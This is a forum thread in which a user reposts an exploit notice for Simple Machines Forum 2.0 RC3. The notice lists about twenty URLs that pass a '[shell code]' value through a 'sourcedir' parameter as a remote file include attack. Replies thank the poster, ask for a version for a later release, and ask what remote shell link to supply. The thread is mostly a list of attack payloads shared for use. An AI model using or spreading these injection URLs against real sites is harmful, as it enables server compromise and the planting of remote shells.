[lokeshramesh]

SMF (Simple Machines Forum) 2.0 RC3 Exploit Code:

Its an Exploit I've found on net may be useful for someone so I'm pasting here i don't take any credit for this:

=====================================================
SMF Version 2.0 RC3 Remote File Include Vulnerability
=====================================================
######################################################################
#
# SMF Version 2.0 RC3 Remote File Include !
#
# Author : D.0.M TEAM
#
# Founded By : S3Ri0uS !
#
######################################################################
#
# Exploit :
#
# http://www.site.com/path/index.php?sourcedir=[shell code]
#
# http://www.site.com/path/SSI.php?sourcedir=[shell code]
#
# http://www.site.com/path/subscriptions.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Admin.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/BoardIn...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Calenda...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Display.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Errors.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Groups.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Help.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Load.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/LockTop...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/LogInOu...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageA...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageB...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageB...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageM...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageS...sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Xml.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Themes.php?sourcedir=[shell code]
#
######################################################################

Credit goes to original founder.

[albay]

thanks for share.
this is very good job.

do you have one for RC4 ?

[m4$k]

can someone explain abit about more.. what should i put in the [shell code] ?? it is shell link ??
i want to test on my own forum.. smf ..? hope someone will help me thanks

[narc0tics]

I bet you found this at exploit-db or 1337day.

Thanks for sharing.